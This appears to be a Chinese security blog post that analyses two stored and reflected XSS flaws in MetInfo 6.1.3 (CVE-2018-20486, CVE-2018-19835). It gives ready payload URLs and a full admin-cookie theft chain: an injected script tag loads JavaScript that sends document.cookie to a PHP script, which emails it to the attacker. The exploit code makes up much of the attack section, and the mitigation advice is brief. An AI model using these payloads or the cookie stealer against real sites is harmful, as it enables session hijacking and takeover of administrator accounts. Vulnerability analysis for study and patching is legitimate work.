Metinfo 6.1.3 XSS漏洞分析

 

前言

前段时间看到一个cms造成的xss漏洞，这里想分析下。这个漏洞是metinfo6.1.3版本因参数问题造成前台和后台引起了两处xss漏洞。

这个漏洞的影响范围一直到最新版本（6.1.3），因为前段时间爆出的漏洞，所以新版本应该已修复。

cms最新6.13下载地址：https://www.mituo.cn/download/

 

前台漏洞分析（ CVE-2018-20486）

通过在前台插入xss访问，然后会在后台触发xss，造成xss攻击。

漏洞的触发点在admin/login/login_check.php

这里加载了$commonpath=$depth.’include/common.inc.php’，然后在如下的代码段里存在变量覆盖漏洞： （admin/include/common.inc.php 77行）

然后往下分析，回头看admin/login/login_check.php这段代码

$url_array变量是我们可控的，从而控制$truefile变量，进入下个if语句，if语句中存在更改数据库信息的mysql语句，从而可以直接更改数据库信息

$_M 数组是一个包含了网站设置，系统调用等信息的总和数组，具体内容如下：

  $_M[config]：网站配置数组，里面可以查询到所有的网站配置数据。
    $_M[form]：提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,
        这些都是没有过滤的，$_M[form]中是已经安全过滤后的数组。
    $_M[langlist]：语言设置数组，其中$_M[langlist][web]为前台语言设置，
            $_M[langlist][admin]为后台语言设置。
    $_M[lang]：前台语言，如果你是在网站前台，则这个值是你当前访问的语言，
        如果是后台，则这个值是你当前编辑的语言。
    $_M[table]：系统表名称。
    $_M[url]：系统一些常用URL入口地址。
    $_M[url][site_admin] ：网站后台地址
    $_M[url][site] ：网站前台地址
    $_M[url][entrance] ：框架入口地址
    $_M[url][own] ：当前执行的应用根目录地址
    $_M[url][app] ：应用根目录地址
    $_M[url][pub] ：系统公用文件（html.css,js）地址
    $_M[url][ui] ：当前class所使用的UI地址，前台为“系统ui根目录/web”;，
                    后台为“系统ui根目录/admin”。
    $_M[user][cookie]：用户cookie信息，建议不要直接取值，使用get_met_cookie()取值。
    $_M[word]：当前的语言参数。
    $_M[plugin]：系统插件数组。

然后在 app/system/include/class/common.class.php中

    $_M['config']['met_adminfile_code'] = $_M['config']['met_adminfile'];
        $_M['config']['met_adminfile'] = authcode($_M['config']['met_adminfile'],'DECODE', $_M['config']['met_webkeys']);
        if ($_M['config']['met_adminfile'] == '') {
            $_M['config']['met_adminfile'] = 'admin';
            $met_adminfile = authcode($_M['config']['met_adminfile'],'ENCODE', $_M['config']['met_webkeys']);
            $query = "UPDATE {$_M['config']['tablepre']}config SET `value` = '$met_adminfile' where `name`='met_adminfile'";
            $result = DB::query($query);
        }

我们可以看到，met_adminfile是我们可控的值存在于$_M[‘config’][‘met_adminfile’]中，也就是通过这个就可以找到我们可以构造的点了。

看到这里就会发现离我们可构造的XSS不远了，这段存在于app/system/safe/admin/templates/index.php (72行)，可以发现，这里标签直接输出了met_adminfile的值，因此造成了一个存储型的XSS漏洞。

xss payload:

http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa"
onfocus=alert(/xss/) &url_array[]=1

xss的构造方式有很多中，但是只要满足输出条件即可：

$turefile=$url_array[count($url_array)-2]在倒数第二个值中输入我们想要的值就可以了，传入url_array[]数组的值然后$truefile返回的是数组倒数第二个值，然后$truefile会被带入数据库中被更新，然后后台在点击带有那个标签页面时便会触发xss

前台漏洞复现

其实这个漏洞也不完全是前台，因为它只是通过通过URL访问后台目录并不是前端造成的，虽然无回显但是可以成功插入信息。

xss payload:

http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=1

然后直接访问，无回显。

这时登录后台，点击安全与效率页面

点击后台文件夹的文件名即可触发xss。其实可以发现后台文件名已经被更改了，并插入了xss代码。每当更改文件名时便会触发xss，这里就是通过更改参数的值传进数据库，从而更新了文件名。

我们可以通过这个存储型XSS漏洞去拿管理员cookie。

获取cookie-payload:

http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa" <SCript src=http://localhost/Myphp/eamil/joke.js>&url_array[]=1

单引号做了过滤所以不要使用单引号，payload能简则简。这里是我自己写了个很简单的脚本，获取cookie发送自己邮箱里。执行后，当管理员进入后台点击安全与效率页面时便可触发。

脚本贴上

<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "xxxxxxx@qq.com";         // 邮件接收者
$subject = "COOKIE";                // 邮件标题
$message = $_GET['joke'];  // 邮件正文
$from = "xxxxxxx@qq.com";   // 邮件发送者
$headers = "From:" . $from;         // 头部信息设置
mail($to,$subject,$message,$headers);
echo "邮件已发送";
}
else
    echo "邮件发送失败";
?>

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil/eamil0.php?joke='+encodeURIComponent(document.cookie);//这里是用本地环境测试的，可以换成自己的ip地址

js脚本获取cookie内容，然后将cookie赋予php脚本变量中，然后获取变量内容，发送邮件到自己邮箱。

发送邮箱需配置smtp服务，具体可以参考我这篇文章https://www.jianshu.com/p/4afafc3c5a3e

 

后台漏洞分析（CVE-2018-19835）

后台也是由于参数问题造成的xss漏洞，不过这个目录只能在后台访问。

先看造成漏洞的主要代码块（/admin/column/move.php）：

从代码中可以看出只需要$folderyanzheng> 0进入if判断内，再看第二个if语句，要保证$folder_m不为空，因此我们可以随便查询一个数据库，也就是给变量$foldername赋一个数据库名。然后将$lang_columnerr4赋给$metcms,最后输出$metcms，也就造成了xss。

查询数据库如下：

不过从这里可以看出造成这个xss攻击代价太大，不仅要知道后台权限，还要知道一个数据库名。感觉可用性并不是太强。

漏洞复现

Xss-Payload:

http://127.0.0.1/metinfo6.13/admin/column/move.php?foldyanzheng=1&foldername=search&lang_columnerr4=<Script>alert(/xss/)</sCript>&metcms=1

这里我们可以看出它会将信息最终通过metcms参数输出在页面中，因此也就造成了xss。

 

总结

修复建议： 因为最新版本应该已经修复相关漏洞，可以升级为新版本。

metinfo出现的xss漏洞较多，但xss在能够利用的情况下产生的危害也较大，因此在开发时应考虑到造成漏洞的不同场景，尽可能的避免漏洞存在。针对XSS最常见的可以对输入(和URL参数)进行过滤，对输出进行编码，也可以对关键字进行黑名单或白名单的过滤等等。

以上分析仅为个人理解，如有不足之处还请大佬们指点。

参考文章：Metinfo前台XSS漏洞分析 CVE-2018-20486